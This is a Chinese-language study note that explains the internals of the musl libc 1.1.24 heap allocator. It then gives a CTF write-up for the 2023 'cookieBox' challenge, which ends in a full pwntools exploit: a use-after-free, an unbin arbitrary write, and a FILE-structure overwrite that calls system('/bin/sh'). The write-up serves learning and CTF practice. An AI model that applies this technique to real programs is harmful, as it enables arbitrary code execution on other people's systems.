除了学习 glibc 的堆管理机制外,musl 也开始提上行程。
由于以前总是用模板思路做题,很多东西总是浮于表面,不能很好地系统性理解。因此有了回炉重造的想法,希望能从根本上理解堆管理的机制。
1 Musl简述 musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如 Alpine Linux (做过 Docker 镜像的应该很熟悉)、OpenWrt (常用于路由器)和 Gentoo 等。
musl libc 堆管理器约等同于 dlmalloc(glibc 堆管理器 ptmalloc2 的前身),因此某些部分如 chunk、unbin 与 glibc 十分相似。
1 2 3 4 5 6 7 8 9 10 11 源码下载路径: https://git.musl-libc.org/cgit/musl 编译命令(以1.1.24为例): tar -xzvf musl-1.1.24.tar.gz cd musl-1.1.24sudo su ./configure --prefix=/usr/local/musl CFLAGS='-O2 -v' --enable-debug=yes make && make install 编译完成后,可在 /usr/lib/musl/lib 目录下找到 libc.so
2 Musl 1.1.24 malloc
和free
的源码可以在src/malloc/malloc.c
中查看,部分结构体和宏定义位于src/internal/malloc_impl.h
。
2-1 数据结构 chunk 1 2 3 4 struct chunk { size_t psize, csize; struct chunk *next , *prev ; };
chunk 的结构如上,有点类似于 glibc ,但 chunk 之间不重用 psize,也就是说除了溢出之外,不能通过上一个 chunk 来修改下一个 chunk 的 psize 位。
psize 和 csize 都只有一种位于最低位的标志位 INUSE (glibc则有三种),INUSE 位为 1 说明 chunk 正在被使用,若为 0 则说明 chunk 已被释放或者通过 mmap 分配,需要 psize 的标志位进行进一步判断。
mal & bin 1 2 3 4 5 static struct { volatile uint64_t binmap; struct bin bins [64]; volatile int free_lock[2 ]; } mal;
mal 的结构体记录着堆的状态,有三个成员:64位无符号整数 binmap、链表头部数组 bins、锁 free_lock。其中 binmap 记录每个 chunk 是否为空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。
1 2 3 4 5 struct bin { volatile int lock[2 ]; struct chunk *head ; struct chunk *tail ; };
bin 的结构体如上。head 和 tail 指针分别指向头部和尾部的 chunk,同时首部 chunk 的 prev 指针和尾部 chunk 的 next 指针指向了 bin 链表的头部,构成了循环链表。若链表为空,head 和 tail 为 0 或者指向链表头部自身。
以上为每个 bin 的 chunk 大小范围,前 32 个 bin 类似于 fastbin 和 smallbin,每个 bin 只对应于一种大小的 chunk;后 32 个 bin 类似于 large bin,一个 bin 对应于多种大小的 chunk,例如 bin 下标为 34 时,计算得知 chunk 大小为 0x620~0x700,即可以容纳 0x620、0x640、0x660、0x680、0x6a0、0x6c0、0x6e0、0x700(0x20 递增)大小的 chunk。
2-2 malloc 实现 malloc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 void *malloc (size_t n) { struct chunk *c ; int i, j; if (adjust_size(&n) < 0 ) return 0 ; if (n > MMAP_THRESHOLD) { size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE; char *base = __mmap(0 , len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1 , 0 ); if (base == (void *)-1 ) return 0 ; c = (void *)(base + SIZE_ALIGN - OVERHEAD); c->csize = len - (SIZE_ALIGN - OVERHEAD); c->psize = SIZE_ALIGN - OVERHEAD; return CHUNK_TO_MEM(c); } i = bin_index_up(n); for (;;) { uint64_t mask = mal.binmap & -(1ULL <<i); if (!mask) { c = expand_heap(n); if (!c) return 0 ; if (alloc_rev(c)) { struct chunk *x = c; c = PREV_CHUNK(c); NEXT_CHUNK(x)->psize = c->csize = x->csize + CHUNK_SIZE(c); } break ; } j = first_set(mask); lock_bin(j); c = mal.bins[j].head; if (c != BIN_TO_CHUNK(j)) { if (!pretrim(c, n, i, j)) unbin(c, j); unlock_bin(j); break ; } unlock_bin(j); } trim(c, n); return CHUNK_TO_MEM(c); }
malloc 主要步骤是通过 binmap 选择 bin,然后取出 bin 首部的 chunk,且取出过程没有任何对链表和 chunk 头部的检测。详细步骤如下:
对用户申请的大小 n 进行调整,增加头部长度并与 32 位对齐。
如果 n 达到 mmap 的大小,则使用 mmap 返回内存给用户,否则计算 n 对应 bin 下标 i,查找 binmap。
如果所有可用的 bin 为空,则生成一个新的 chunk,否则选择大小最接近的 bin,获取其首部的 chunk c。
如果 c 符合 pretrim 条件,则使用 pretrim 进行切割,否则使用 unbin 从链表中取出 c。
最后对 chunk 进行 trim,返回给用户。
需要简单了解一下 unbin、pretrim 和 trim。
unbin 1 2 3 4 5 6 7 8 9 10 11 12 static void unbin (struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL <<i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; }
unbin 相当于 glibc 中的 unlink,作用是从 bin 双向链表中取出 chunk,取出过程并未检查 chunk 指针是否合法。
pretrim 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static int pretrim (struct chunk *self, size_t n, int i, int j) { size_t n1; struct chunk *next , *split ; if (j < 40 ) return 0 ; if (j < i+3 ) { if (j != 63 ) return 0 ; n1 = CHUNK_SIZE(self); if (n1-n <= MMAP_THRESHOLD) return 0 ; } else { n1 = CHUNK_SIZE(self); } if (bin_index(n1-n) != j) return 0 ; next = NEXT_CHUNK(self); split = (void *)((char *)self + n); split->prev = self->prev; split->next = self->next; split->prev->next = split; split->next->prev = split; split->psize = n | C_INUSE; split->csize = n1-n; next->psize = n1-n; self->csize = n | C_INUSE; return 1 ; }
pretrim 的功能是用于切割大 chunk,防止把大小超过需求的 chunk 分配给用户。当满足一定条件,pretrim 从 bin 链表首部 chunk 切割出一块大小刚好符合需要的小 chunk,然后将小 chunk 分配给用户,链表首部地址保持不变。
trim 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static void trim (struct chunk *self, size_t n) { size_t n1 = CHUNK_SIZE(self); struct chunk *next , *split ; if (n >= n1 - DONTCARE) return ; next = NEXT_CHUNK(self); split = (void *)((char *)self + n); split->psize = n | C_INUSE; split->csize = n1-n | C_INUSE; next->psize = n1-n | C_INUSE; self->csize = n | C_INUSE; __bin_chunk(split); }
malloc 的最后一步是 trim,主要作用是回收 chunk 超过需求大小的部分。trim 将多余的部分切割出来,然后将其释放到 bin 中,以减少内存浪费。
2-3 free 实现 free 1 2 3 4 5 6 7 8 9 10 11 12 13 void free (void *p) { if (!p) return ; struct chunk *self = MEM_TO_CHUNK(p); if (IS_MMAPPED(self)) unmap_chunk(self); else __bin_chunk(self); }
free 先对 chunk 进行 mmap / double free 检查。如果 chunk 的 csize 字段没有设置 INUSE 标志位,进入 unmap_chunk 函数。
unmap_chunk 1 2 3 4 5 6 7 8 9 static void unmap_chunk (struct chunk *self) { size_t extra = self->psize; char *base = (char *)self - extra; size_t len = CHUNK_SIZE(self) + extra; if (extra & 1 ) a_crash(); __munmap(base, len); }
如果 psize 设置了 INUSE 标志位,视为 double free,程序 crash,否则视为 mmap chunk,调用 __munmap 进行释放。
__bin_chunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 void __bin_chunk(struct chunk *self){ struct chunk *next = NEXT_CHUNK(self); size_t final_size, new_size, size; int reclaim=0 ; int i; final_size = new_size = CHUNK_SIZE(self); if (next->psize != self->csize) a_crash(); for (;;) { if (self->psize & next->csize & C_INUSE) { self->csize = final_size | C_INUSE; next->psize = final_size | C_INUSE; i = bin_index(final_size); lock_bin(i); lock(mal.free_lock); if (self->psize & next->csize & C_INUSE) break ; unlock(mal.free_lock); unlock_bin(i); } if (alloc_rev(self)) { self = PREV_CHUNK(self); size = CHUNK_SIZE(self); final_size += size; if (new_size+size > RECLAIM && (new_size+size^size) > size) reclaim = 1 ; } if (alloc_fwd(next)) { size = CHUNK_SIZE(next); final_size += size; if (new_size+size > RECLAIM && (new_size+size^size) > size) reclaim = 1 ; next = NEXT_CHUNK(next); } } if (!(mal.binmap & 1ULL <<i)) a_or_64(&mal.binmap, 1ULL <<i); self->csize = final_size; next->psize = final_size; unlock(mal.free_lock); self->next = BIN_TO_CHUNK(i); self->prev = mal.bins[i].tail; self->next->prev = self; self->prev->next = self; if (reclaim) { uintptr_t a = (uintptr_t )self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE; uintptr_t b = (uintptr_t )next - SIZE_ALIGN & -PAGE_SIZE; #if 1 __madvise((void *)a, b-a, MADV_DONTNEED); #else __mmap((void *)a, b-a, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1 , 0 ); #endif } unlock_bin(i); }
__bin_chunk 的功能是将 chunk 插入到 bin 链表中,首先合并 chunk 前后的空闲 chunk,设置 binmap 和 chunk 标志位,最后将 chunk 插入到 bin 链表中。
2-4 静态堆内存初始化 在 glibc 中,堆一般位于内存中的动态内存区域,而 musl libc 堆管理器为了减少内存开销,将程序和 libc 库(静态内存)的空闲内存划分为堆内存,并优先使用静态堆内存 来分配 chunk。只有当静态堆内存耗尽或无法满足需求时,musl libc 才会去申请动态内存。
该特性有助于漏洞利用过程中的信息泄露 ,往往可以得到 libc 或是程序基址信息。
__dls3 1 2 3 4 5 6 7 8 9 10 11 12 13 void __dls3(size_t *sp){ reclaim_gaps(&app); reclaim_gaps(&ldso); }
源代码很长,关键在于 reclaim_gaps 这个函数。
reclaim_gaps & reclaim 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static void reclaim (struct dso *dso, size_t start, size_t end) { if (start >= dso->relro_start && start < dso->relro_end) start = dso->relro_end; if (end >= dso->relro_start && end < dso->relro_end) end = dso->relro_start; if (start >= end) return ; char *base = laddr_pg(dso, start); __malloc_donate(base, base+(end-start)); } static void reclaim_gaps (struct dso *dso) { Phdr *ph = dso->phdr; size_t phcnt = dso->phnum; for (; phcnt--; ph=(void *)((char *)ph+dso->phentsize)) { if (ph->p_type!=PT_LOAD) continue ; if ((ph->p_flags&(PF_R|PF_W))!=(PF_R|PF_W)) continue ; reclaim(dso, ph->p_vaddr & -PAGE_SIZE, ph->p_vaddr); reclaim(dso, ph->p_vaddr+ph->p_memsz, ph->p_vaddr+ph->p_memsz+PAGE_SIZE-1 & -PAGE_SIZE); } }
reclaim_gaps 函数通过遍历每个内存段,找到符合条件的段,计算其所属内存页,最后通过 __malloc_donate 将页中的空闲内存释放到 bin 中。
3 漏洞利用手法 由于在 musl libc 中没有像 glibc 中那样的 hook 指针来调用,所以一般用到的都是 FSOP 即覆盖 FILE 结构体中的某些指针来劫持控制流。
详细的利用手法以后遇到例题再总结上来。
4 例题 例题信息 1 2 3 4 5 来源:2023羊城杯初赛-cookieBox libc版本:musl libc 1.1.24 漏洞:UAF 限制:堆块大小 <= 0x100 size 和 chunk 以相同 idx 同时布置在 bss 上,释放堆块会清空 size,edit 和 show 功能会对 size 进行检测。
ADD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ssize_t sub_400A50 () { ssize_t result; int i; unsigned int size[3 ]; puts ("Please input the size:" ); *size = input_number(); if ( size[0 ] > 0x100 ) { puts ("Invalid size" ); exit (0 ); } *&size[1 ] = malloc (size[0 ]); if ( !*&size[1 ] ) { puts ("Malloc Error" ); exit (0 ); } puts ("Please input the Content:" ); result = read(0 , *&size[1 ], size[0 ]); if ( result < 0 ) { puts ("Read Error" ); exit (0 ); } for ( i = 0 ; i <= 15 ; ++i ) { result = (&buf)[i]; if ( !result ) { result = *(&nbytes + i); if ( !result ) { (&buf)[i] = *&size[1 ]; *(&nbytes + i) = size[0 ]; puts ("Done" ); return i; } } } return result; }
DELETE
1 2 3 4 5 6 7 8 9 10 11 12 13 int sub_400B69 () { unsigned int v1; puts ("Please input the idx:" ); v1 = input_number(); if ( v1 > 0xF || !(&buf)[v1] ) return puts ("Idx Error" ); free ((&buf)[v1]); *(&nbytes + v1) = 0 ; puts ("Done" ); return v1; }
EDIT
1 2 3 4 5 6 7 8 9 10 11 12 13 int sub_400C59 () { unsigned int v1; puts ("Please input the idx:" ); v1 = input_number(); if ( v1 <= 0xF && (&buf)[v1] && *(&nbytes + v1) ) { puts ("Please input the content:" ); read(0 , (&buf)[v1], *(&nbytes + v1)); puts ("Done" ); } return puts ("Idx Error" );
SHOW
1 2 3 4 5 6 7 8 9 10 11 12 int sub_400BE1 () { unsigned int v1; puts ("Please input the idx:" ); v1 = input_number(); if ( v1 > 0xF || !(&buf)[v1] || !*(&nbytes + v1) ) return puts ("Idx Error" ); puts ((&buf)[v1]); puts ("Done" ); return v1; }
解题思路 调试命令:p/x mal
可以查看 mal 堆管理器。
由于静态堆内存初试化后,打开 gdb调试发现,bin 中已有一些 chunk(一个在程序段上,一个在libc上),且 idx > 32,不知为何需要申请 4 次才能申请完(不应该是 2 次吗?不过对做题没有影响)。
由于静态堆初始化,因此很容易就可以泄露出 libc 基址。
1 2 3 4 5 6 7 add(0x10 , b'a' *8 ) add(0x10 , b'b' *8 ) add(0x100 , b'c' *0x10 ) add(0x10 , b'd' *0x8 ) show(0 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x292e50
利用 uaf 实现两个指针指向同一个堆(目标堆),一个用于 free,一个用于 edit,
再释放一个堆使得目标堆和该堆处于同一 bin 中。
1 2 3 4 free(1 ) add(0x10 , b'e' *0x8 ) free(1 ) free(0 )
修改目标堆的 next 指针指向 __stdout_FILE,
修改其 prev 指针指向目标地址 addr-0x10,
再申请一个堆,达到 attack,向 addr 中写入__stdout_FILE,
这里的 addr 即为 bss 上的 idx2 对应的堆指针。
1 2 edit(4 , p64(stdout) + p64(0x602070 -0x10 )) add(0x10 , b'f' *0x8 )
修改目标堆指针,即修改 __stdout_FILE 结构体,通过 puts 触发链子,打其他 FILE 链子的时候可能需要保证 wpos != wbase
。
1 2 3 4 payload = b'/bin/sh\x00' payload += b'X' * 64 payload += p64(system) edit(2 , payload)
还有一种解题思路就是在 attack 时改 addr 为 mal 上的对应的 bin结构体,修改其 head,也能申请到对应内存。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *io = process('./cookieBox' ) libc = ELF("./libc.so" ) def add (size, content ): io.sendlineafter(b">>" , b'1' ) io.sendlineafter(b"Please input the size:\n" , str (size).encode()) io.sendafter(b"Please input the Content:\n" , content) def free (idx ): io.sendlineafter(b">>" , b'2' ) io.sendlineafter(b"Please input the idx:\n" , str (idx).encode()) def edit (idx, content ): io.sendlineafter(b">>" , b'3' ) io.sendlineafter(b"Please input the idx:\n" , str (idx).encode()) io.sendafter(b"Please input the content:\n" , content) def show (idx ): io.sendlineafter(b">>" , b'4' ) io.sendlineafter(b"Please input the idx:\n" , str (idx).encode()) def debug (): gdb.attach(io) add(0x10 , b'a' *8 ) add(0x10 , b'b' *8 ) add(0x100 , b'c' *0x10 ) add(0x10 , b'd' *0x8 ) show(0 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x292e50 log.success("libc_base===>" +hex (libc_base)) stdout = libc_base + libc.sym["__stdout_FILE" ] system = libc_base + libc.sym["system" ] mal = libc_base + 0x292ac0 free(1 ) add(0x10 , b'e' *0x8 ) free(1 ) free(0 ) edit(4 , p64(stdout) + p64(0x602060 )) add(0x10 , b'f' *0x8 ) debug() pause() payload = b'/bin/sh\x00' payload += b'X' * 64 payload += p64(system) edit(2 , payload) io.interactive()